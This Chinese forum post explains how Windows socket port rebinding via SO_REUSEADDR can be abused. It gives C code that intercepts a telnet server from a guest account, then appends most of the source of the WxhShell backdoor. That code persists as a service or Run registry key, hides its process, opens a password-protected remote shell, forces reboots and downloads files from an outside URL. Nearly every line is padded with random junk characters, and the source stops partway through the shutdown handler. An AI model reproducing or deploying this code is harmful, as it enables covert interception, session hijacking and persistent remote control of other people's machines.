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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?\dY!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S3V3<4CB  
DGl_SMJb  
  saddr.sin_family = AF_INET; 12\h| S~  
#?)g?u%g=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PN ,pEk|  
e"u=4nk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {AbQaw  
C zKU;~D=B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EQDs bG0x  
3fJ GJW!zu  
  这意味着什么?意味着可以进行如下的攻击: $;1#gq%  
5?+ECxPt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RF/I*5  
=B9Ama   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i1]*5;q  
(9hCO-r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5mwtlC':l?  
gPO,Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aZt5/|B  
fZK&h.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^z #'o  
F(*~[*Ff  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x ;V7D5 q  
Lc ,te1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ipo?>To  
pp{Za@j  
  #include |0 #J=am  
  #include !~5;Jb>s[/  
  #include =fmM=@!$<  
  #include    ax{+7  k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2\h]*x% :  
  int main() D(bQFRBY6"  
  { l X g.`  
  WORD wVersionRequested; |HT5G=dw  
  DWORD ret; ngmHiI W  
  WSADATA wsaData; SSCyq#dl$  
  BOOL val;  .7GTL  
  SOCKADDR_IN saddr; X*'i1)_h  
  SOCKADDR_IN scaddr; P_(QG 6  
  int err; Epo/}y  
  SOCKET s; CEQs}bz  
  SOCKET sc; mbSG  
  int caddsize; 5?] Dn k.o  
  HANDLE mt; %%uvia=e  
  DWORD tid;   !>E$2}Q|]  
  wVersionRequested = MAKEWORD( 2, 2 ); _+B{n^ {  
  err = WSAStartup( wVersionRequested, &wsaData ); %s&"gWi  
  if ( err != 0 ) { 9E`Laf  
  printf("error!WSAStartup failed!\n"); qcVmt1"  
  return -1; N [qNSo|  
  } 7XM:4whw  
  saddr.sin_family = AF_INET; ?WEKRl  
   eDkJ+5b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W!Qaa(o?  
$?Dcp^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lf`" (:./  
  saddr.sin_port = htons(23); uT#4"G9A[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Iu V7~w  
  { n{*A<-vL  
  printf("error!socket failed!\n"); $^K12Wcp-  
  return -1; _&SST)Y|  
  } Xtk3~@  
  val = TRUE; BV"l;&F[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0bz':M#k &  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'QOV!D  
  { SJ7-lben3  
  printf("error!setsockopt failed!\n"); %(}%#-X  
  return -1; ]broU%#"  
  } e'dx Y(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; { POfT m}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zE8qU;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,DIr&5>p2  
tNf_,]u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vp|.x |@  
  { ]K-B#D{P  
  ret=GetLastError(); E51'TT9  
  printf("error!bind failed!\n"); w+][L||4c  
  return -1; /A82~  
  } ,>3b|-C-  
  listen(s,2); kNg{  
  while(1) !QsmT3   
  { VJbn/5+P  
  caddsize = sizeof(scaddr); Sp-M:,H3H  
  //接受连接请求 pP)> x*1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ha/Gn !l  
  if(sc!=INVALID_SOCKET) @W.0YU0|J  
  { ? 4v"y@v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dTVh{~/  
  if(mt==NULL) t~V?p'a0ys  
  { p?,T%G+gqO  
  printf("Thread Creat Failed!\n"); OI)U c .  
  break; 5E!Wp[^  
  } g0M/Sv  
  } $h|8z  
  CloseHandle(mt); lEC91:Jyt  
  } T]lVwj  
  closesocket(s); jmr1e).];  
  WSACleanup(); f)#nXTXeC  
  return 0; 5e >qBw8t  
  }   Gj- *D7X5  
  DWORD WINAPI ClientThread(LPVOID lpParam) f-5}`)`.+  
  { }kF*I@:g  
  SOCKET ss = (SOCKET)lpParam; 0 czEA  
  SOCKET sc; ?{(Jy*  
  unsigned char buf[4096]; JQ<9~J  
  SOCKADDR_IN saddr; V\/5H~L  
  long num; l~#%j( Yo  
  DWORD val; Lw<%?F (  
  DWORD ret; ` 7jdV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PbIir=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UEH+E&BCC  
  saddr.sin_family = AF_INET; VI;)VJbq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 87OX:6  
  saddr.sin_port = htons(23); psM&r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nD!5I@D  
  { =`f"8 ,5  
  printf("error!socket failed!\n"); OcZ8:`=%  
  return -1; E-b3#\^:  
  } q/3 )yG6s  
  val = 100; #TD0)C/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oF=UjA  
  { (I ~r~5^  
  ret = GetLastError(); -3|i5,f  
  return -1; VN >X/  
  } ,_U3p ,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h%!N!\  
  { jbs)]fqC;  
  ret = GetLastError(); `t Zw(Z=h  
  return -1; _-nIy*',=  
  } )kt,E}609  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =Y<RG"]a&J  
  { KO&oT#S  
  printf("error!socket connect failed!\n"); [ |dQZ  
  closesocket(sc);  rhO 8v  
  closesocket(ss); ;`}b .S =n  
  return -1; nI<Ab_EB  
  } >o8N@`@VK-  
  while(1) Fa9gr/.F,@  
  { lArDOFl]x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tjt#2i8/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8L,i}hIo.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x[1( cj  
  num = recv(ss,buf,4096,0);  FA#8  
  if(num>0) p<AzpkU,A  
  send(sc,buf,num,0); { , zg  
  else if(num==0) :yE7jXB  
  break; Q\{$&0McF  
  num = recv(sc,buf,4096,0); V8IEfU  
  if(num>0) <|c[ #f  
  send(ss,buf,num,0); N83g=[  
  else if(num==0) :Tn1]a)f6  
  break; YRs32vVz  
  } 2` j#eB1  
  closesocket(ss); =d`/BDD  
  closesocket(sc); 8[mj*^P  
  return 0 ; (d$ksf_[%f  
  } @Sd l~'"  
O"~BnA`dJ  
h;`]rK;g  
========================================================== d}_%xkC  
u|uPvbM  
下边附上一个代码,,WXhSHELL \<4Hp_2?  
Gw0MDV&[  
========================================================== oar`xH$C  
{wyf>L0j  
#include "stdafx.h" U8s&5~IPn  
n> O3p ~  
#include <stdio.h> /;\{zA$uC=  
#include <string.h> fY{&W@#g  
#include <windows.h> eE-c40Bae  
#include <winsock2.h> xXm:S{I  
#include <winsvc.h> {rWFgn4Li  
#include <urlmon.h> KMZEUmY1R1  
a<ztA:xt|1  
#pragma comment (lib, "Ws2_32.lib") CxW-lU3G`  
#pragma comment (lib, "urlmon.lib") +/Q ?<*[  
;^Y]nsd  
#define MAX_USER   100 // 最大客户端连接数 K3($,aB}  
#define BUF_SOCK   200 // sock buffer t ]yD95|  
#define KEY_BUFF   255 // 输入 buffer Nw=mSW^E  
 i%a jL  
#define REBOOT     0   // 重启 + ZxG<1&  
#define SHUTDOWN   1   // 关机 =Zc Vywz;+  
XI*cu\7sy  
#define DEF_PORT   5000 // 监听端口 FsyM{LT  
Bk9? =  
#define REG_LEN     16   // 注册表键长度 ~Q/G_^U:  
#define SVC_LEN     80   // NT服务名长度 ("$ ,FRTQ:  
ZQQ0}  
// 从dll定义API 0nV|(M0lu?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "G,$Sqi@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =9@t6   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _6 ,Tb]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >84:1 `  
eX9Hwq4X44  
// wxhshell配置信息 :4, OA  
struct WSCFG { ddiBjp2.!  
  int ws_port;         // 监听端口 m:A1wL4c6  
  char ws_passstr[REG_LEN]; // 口令 K=`;D  
  int ws_autoins;       // 安装标记, 1=yes 0=no GDMg.w 4Yk  
  char ws_regname[REG_LEN]; // 注册表键名 pg;y\}  
  char ws_svcname[REG_LEN]; // 服务名 "/MA.zEl0,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KqH_?r`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /5Zt4&r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !04zWYHo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TUaW'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0cxk)l%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C0bOPn  
w2/3\3p  
}; u:FFZ  
MPg"n-g*  
// default Wxhshell configuration *>,CG:`D  
struct WSCFG wscfg={DEF_PORT, >TqMb8e_  
    "xuhuanlingzhe", It .`  
    1, rIg5Wcd  
    "Wxhshell", a7Fc"s*  
    "Wxhshell", }#h>*+Q  
            "WxhShell Service", zu@5,AH  
    "Wrsky Windows CmdShell Service", SpB\kC"K  
    "Please Input Your Password: ", P b(XR+  
  1, 6HyndB^  
  "http://www.wrsky.com/wxhshell.exe", ;F:~HrxT}  
  "Wxhshell.exe" v>&sb3I  
    }; :~1sF_  
=]auP{AlE  
// 消息定义模块 U=a'(fX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ."#M X!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E =7m@"0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c< P ML|e  
char *msg_ws_ext="\n\rExit."; :172I1|7  
char *msg_ws_end="\n\rQuit."; gPu0j4&-  
char *msg_ws_boot="\n\rReboot..."; S|pMX87R  
char *msg_ws_poff="\n\rShutdown..."; g,0u_$U  
char *msg_ws_down="\n\rSave to "; :+m8~n$/  
|QI FtdU5T  
char *msg_ws_err="\n\rErr!"; \ tK{!v+  
char *msg_ws_ok="\n\rOK!"; 7K|: 7e(  
7 q%|-`#  
char ExeFile[MAX_PATH]; keBf^NY  
int nUser = 0; 4%3R}-'mh  
HANDLE handles[MAX_USER];  >Mzk;TM  
int OsIsNt; aq|R?  
R6N+c\W  
SERVICE_STATUS       serviceStatus; +@QN)ZwVy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `a!:-.:v  
%L\buwjy$  
// 函数声明 6^oQ8unmS  
int Install(void); XU3v#Du  
int Uninstall(void); )tRqt9Th*  
int DownloadFile(char *sURL, SOCKET wsh); Bj ~bsT@a.  
int Boot(int flag); n8!qz:z/  
void HideProc(void); 7I,/uv?  
int GetOsVer(void); Zy>iaG9}  
int Wxhshell(SOCKET wsl); U%7| iK  
void TalkWithClient(void *cs); yJheni  
int CmdShell(SOCKET sock); } +@H&}u  
int StartFromService(void); PyS~2)=B  
int StartWxhshell(LPSTR lpCmdLine); epWO}@ b a  
'>}dqp{Wr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F%8W*Y699  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  !IZbMn6  
^+ hJ& 9W  
// 数据结构和表定义 Ls<.&3X2  
SERVICE_TABLE_ENTRY DispatchTable[] = 7^fpbrj  
{ j#C1+Us  
{wscfg.ws_svcname, NTServiceMain}, g `)5g5  
{NULL, NULL} q\B048~KK  
}; Nvlfi8.  
nj (/It  
// 自我安装 yN0!uzdW*  
int Install(void) #q06K2  
{ = }&@XRLJ  
  char svExeFile[MAX_PATH]; C/JeD-JG  
  HKEY key; jAa{;p"jU  
  strcpy(svExeFile,ExeFile); _:: q S!  
Y=%SK8]Q;  
// 如果是win9x系统,修改注册表设为自启动 D*>EWlZ   
if(!OsIsNt) { PJ=N.x f}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6hE. i x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W-QBC- 3  
  RegCloseKey(key); _?vh#6F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =aWj+ggd@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (6aSDx Sc  
  RegCloseKey(key); e~#"#?  
  return 0; X"hoDg  
    } 1N `1~y  
  } .%.kEJh`  
} ~\4B 1n7  
else { o)X(;o  
ad\?@>[ I  
// 如果是NT以上系统,安装为系统服务 X#qm wcF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n~1'M/wh  
if (schSCManager!=0) LP{{PT.&X  
{ \(nb >K  
  SC_HANDLE schService = CreateService QF  P3S(  
  ( p19[qy~.  
  schSCManager, N2?o6)  
  wscfg.ws_svcname, hPC t-  
  wscfg.ws_svcdisp, u,zA^%   
  SERVICE_ALL_ACCESS, 'IorjR@ 40  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L[]*vj   
  SERVICE_AUTO_START, |WopsV %  
  SERVICE_ERROR_NORMAL, ;XJK*QDN  
  svExeFile, cTA8F"UGD  
  NULL, tQSj[Yl  
  NULL, -_m>C2$6x  
  NULL, LvWl*:z  
  NULL, bIFKP  
  NULL E+Jh4$x {  
  ); y_^w|  
  if (schService!=0) Q?f%]uGFQ  
  { Oz\mIVC#  
  CloseServiceHandle(schService); O/X;(qYd  
  CloseServiceHandle(schSCManager); RL|13CG OP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]L'FYOfrpx  
  strcat(svExeFile,wscfg.ws_svcname); Cm~h\+"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wq bfZx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dXkgWLI~  
  RegCloseKey(key); 'bH',X8gF  
  return 0; $jt  UQ1  
    } 1E(~x;*)  
  } <@B zF0  
  CloseServiceHandle(schSCManager); :ZP4(}  
} u N%RB$G  
} wzw`9^B  
OH.Re6Rr  
return 1; 4Xna}7  
} }uI(D&?+h  
@W\y#5"B  
// 自我卸载 kI|Vv90l  
int Uninstall(void) tMN^"sjf*  
{ G2FP|mf,  
  HKEY key; }yCw|B|a  
J 4$^Hr  
if(!OsIsNt) { 9Fe(],AzF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /?POIn+0o  
  RegDeleteValue(key,wscfg.ws_regname); traJub  
  RegCloseKey(key); V}1D1.@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sGNVZx  
  RegDeleteValue(key,wscfg.ws_regname); O|#N$a&_N  
  RegCloseKey(key); d^"dL" Q6m  
  return 0; x\=2D<@az  
  } =AFTB<7-^  
} eqt+EiH   
} 9/lCW  
else { \]y4e^FZZ  
G)(\!0pNZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >U~B"'!xV  
if (schSCManager!=0) %G%##wv:  
{ j1!P:(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?Rc+H;x=f  
  if (schService!=0) ` [ EzU+  
  { JPS7L}Kv  
  if(DeleteService(schService)!=0) { 4X2XSK4  
  CloseServiceHandle(schService); UOn L^Z}  
  CloseServiceHandle(schSCManager); y(pHt  
  return 0; q&IO9/[dk  
  } o E+s8Q  
  CloseServiceHandle(schService); I0 y+,~\  
  } sPCp20x:y8  
  CloseServiceHandle(schSCManager); Z+!3m.q  
} -e=p*7']  
} Ep% 5wR  
(wmMHo|  
return 1; +):t6oX|  
} <!.'"*2  
J@ x%TA  
// 从指定url下载文件 R5LzqT,/N:  
int DownloadFile(char *sURL, SOCKET wsh) *|n::9  
{ $!c)%qDq  
  HRESULT hr; W11Wv&  
char seps[]= "/"; fP`g#t)4Tu  
char *token; $|v_ pjUu]  
char *file; +w Oa  
char myURL[MAX_PATH]; 9X8{"J  
char myFILE[MAX_PATH]; I xT[1$e  
_A*5BAB:h(  
strcpy(myURL,sURL); e{edI{g  
  token=strtok(myURL,seps); qvz2u]IOw  
  while(token!=NULL) X{rw+!  
  { a^qLyF& F  
    file=token; Hz$l)g}U  
  token=strtok(NULL,seps); 6JWCB9$4  
  } ;dl>  
 `"v5bk  
GetCurrentDirectory(MAX_PATH,myFILE); 8tWOVLquJ  
strcat(myFILE, "\\"); ^(I4Do~}  
strcat(myFILE, file); 03*` T  
  send(wsh,myFILE,strlen(myFILE),0); 96aA2s1  
send(wsh,"...",3,0); Gx ?p,Fj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BM*9d%m^  
  if(hr==S_OK) !|`G<WD  
return 0; }7CMXw [  
else f[3DKA  
return 1; G l+[ |?N  
=whZ?,u1   
} uhL+bj+W  
q10gKVJum  
// 系统电源模块 hXi^{ntw,  
int Boot(int flag) %sb)U~gP  
{ $x5P5^Y  
  HANDLE hToken; IM&2SSmYNH  
  TOKEN_PRIVILEGES tkp; U0'>(FP~2  
5uMh#dm^  
  if(OsIsNt) { \1'3--n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "bAkS}(hB(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yg^ &4ZF  
    tkp.PrivilegeCount = 1; 4 V')FGB$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rR> X<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T`ibulp  
if(flag==REBOOT) { ,KW Q 6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @owneSD qN  
  return 0; 3S:Lce'f  
} %M@K(Qu  
else { MIrx,d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [X.bR$>  
  return 0; Cku"vVw,  
} _F;v3|`D@<  
  } >1Z"5F7=  
  else { :CyHo6o9  
if(flag==REBOOT) { _fHml   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))   EO&Q  
  return 0; ?l0Qi  
} |`5 IP8Z  
else { ^}_Ka//k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /o;M ?Nt6  
  return 0; lM6pYYEq=  
} h+FM?ct6}  
} @%]A,\  
+3)r szb72  
return 1; *VZ|Idp  
} +WH\,E  
=:- fK-d  
// win9x进程隐藏模块 lK0ny>RB  
void HideProc(void) r7m~.M+W"  
{ 'a ['lF  
FZr/trP~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v`HE R6  
  if ( hKernel != NULL ) 2%W;#oi?  
  { *GT=U(d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <+roY"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r )F;8(  
    FreeLibrary(hKernel); e8F]m`{_"  
  } |kYlh5/c d  
9L=mS  
return; q&3 ;e4  
} u\]EG{w(  
cgg6E O(  
// 获取操作系统版本 ?[ xgt )  
int GetOsVer(void) S /hx\TzC  
{ Kxr@!m"  
  OSVERSIONINFO winfo; Nd~B$venh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p}1i[//S  
  GetVersionEx(&winfo); G{U#9   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v"USD<   
  return 1; hsC T:1i  
  else |R`"Zu`  
  return 0; H+v&4}f  
} 77P\:xc  
IPQRdBQ  
// 客户端句柄模块 i?x gV_q;  
int Wxhshell(SOCKET wsl) 1EyN |m|  
{ *_(X$qfoW  
  SOCKET wsh; nBh+UT}  
  struct sockaddr_in client; 5S~ H[>A"  
  DWORD myID; dljE.peL  
F-_u/C]  
  while(nUser<MAX_USER) 1Cr&6't  
{ I'/3_AX  
  int nSize=sizeof(client); K"#$",}=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9]4Q@%  
  if(wsh==INVALID_SOCKET) return 1; Q+:y  
l/.{F;3F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 66yw[,Y  
if(handles[nUser]==0) J=g)rd[`  
  closesocket(wsh); BEdCA]T  
else Abc{<4 z0?  
  nUser++; kK6O ZhLH  
  } F.9}jd{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .wfydu)3  
u`pTFy  
  return 0; g'"~'  
} mQ"~x]  
&7L7|{18  
// 关闭 socket vObZ|>.J~O  
void CloseIt(SOCKET wsh) jK|n^5\  
{ j*{0<hZb}  
closesocket(wsh); gq=t7b  
nUser--; [Vd$FDki  
ExitThread(0); =pH2V^<<#  
} 3I6ocj [,  
]Q^)9uE\D  
// 客户端请求句柄 d0El2Ct8  
void TalkWithClient(void *cs) d"wA"*8~y  
{ R9XU7_3B  
7J'%;sH  
  SOCKET wsh=(SOCKET)cs; N /4E ~^2  
  char pwd[SVC_LEN]; _imuyt".+  
  char cmd[KEY_BUFF]; '{&Q&3J_  
char chr[1]; qZ1'uln=C-  
int i,j; K-RmB4WI  
.#[ 9q-  
  while (nUser < MAX_USER) { ?qh-#,O9B  
fBSa8D3}`  
if(wscfg.ws_passstr) { X8C7d6ca  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NxP(&M(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4G&`&fff]  
  //ZeroMemory(pwd,KEY_BUFF); i%2u>N i^  
      i=0; !fOPYgAGKn  
  while(i<SVC_LEN) { a6{Zp{"Y  
$dC`keQM>9  
  // 设置超时 c(Q@5@1y:  
  fd_set FdRead; 0ho;L0Nr'  
  struct timeval TimeOut; 8^7Oc,:~  
  FD_ZERO(&FdRead); 'l*X?ccKy  
  FD_SET(wsh,&FdRead); y`I>|5[ `  
  TimeOut.tv_sec=8; v~$ V  
  TimeOut.tv_usec=0; EX,>V,.UV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )[rVg/m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4XkI? l  
YxF@1_g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w~ Tg?RH:  
  pwd=chr[0]; xSY"Ru  
  if(chr[0]==0xd || chr[0]==0xa) { qTsy'y;Z  
  pwd=0; DDE-$)lf>  
  break; -Vn#Ab_C  
  } b3A0o*  
  i++; #asg5 }  
    } C- .;m  
+O}Ik.w  
  // 如果是非法用户,关闭 socket 6tKrR{3#A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); abo=v<mR  
} 6bm7^e(  
ee {ToK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HP# SR';E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [.#nM  
c'oiW)8;A  
while(1) { ,s8/6n#  
{'b;lA]0  
  ZeroMemory(cmd,KEY_BUFF); Giyh( DL  
Q-7?'\h  
      // 自动支持客户端 telnet标准   Iz0$T.T  
  j=0; 25>R^2,LiE  
  while(j<KEY_BUFF) { ~I|| "$R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )vW'g3u_  
  cmd[j]=chr[0]; ~[;r) g\  
  if(chr[0]==0xa || chr[0]==0xd) { z\ZnxZ@  
  cmd[j]=0; MK1\  
  break; "&6vFmr  
  } jVff@)_S  
  j++; b-u@?G|<  
    } t;* zr*  
b A+_/1C  
  // 下载文件 K_YrdA)6  
  if(strstr(cmd,"http://")) { sVHF\{<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |  0  
  if(DownloadFile(cmd,wsh)) -1Q24jrO-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8iIp[9~=  
  else Tg{5%~L]   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^KhJBM/Z  
  } 3x~7N  
  else { A5nggg4  
#b^6>  
    switch(cmd[0]) { {$8+n::  
  XvI~"}  
  // 帮助 <^YvgQ,m  
  case '?': { C.?^] Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TiD#t+g  
    break; 5*44QV  
  } iT'doF  
  // 安装 ;W- A2g  
  case 'i': { )LGVR 3#  
    if(Install()) z/\OtYz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lm[,^k  
    else gX" -3w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 71{Q#%5U~  
    break; |]G%b[  
    } z"f@iJX?2  
  // 卸载 cN@_5  
  case 'r': { J4+K)gWB  
    if(Uninstall()) 7Fj8Mp|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -,y p?<  
    else }+@!c%TCx~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rl}<&aPH  
    break; Ar<5UnT  
    } 6Z|h>H5 a  
  // 显示 wxhshell 所在路径 7qqzL_d>  
  case 'p': { ei-\t qY_  
    char svExeFile[MAX_PATH]; qur2t8gnxq  
    strcpy(svExeFile,"\n\r"); `,}7LfY  
      strcat(svExeFile,ExeFile); ,sitOy}ks  
        send(wsh,svExeFile,strlen(svExeFile),0); RJD{l+  
    break; /4T6Z[=s  
    } rt^~ I \V  
  // 重启 kt6)F&;$  
  case 'b': { YYpC!)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q8P&rMwy  
    if(Boot(REBOOT)) a,w|r#x]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z)M#9oAM  
    else { 1 ^|#QMT  
    closesocket(wsh); xf&[QG+Ef  
    ExitThread(0); o8X_uKEI  
    } 'LMj.#A<g  
    break; y'm!h?8  
    } 3Y Mqp~4  
  // 关机 Z"VP<-  
  case 'd': { V8/4:Va7 s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xf4~e(O  
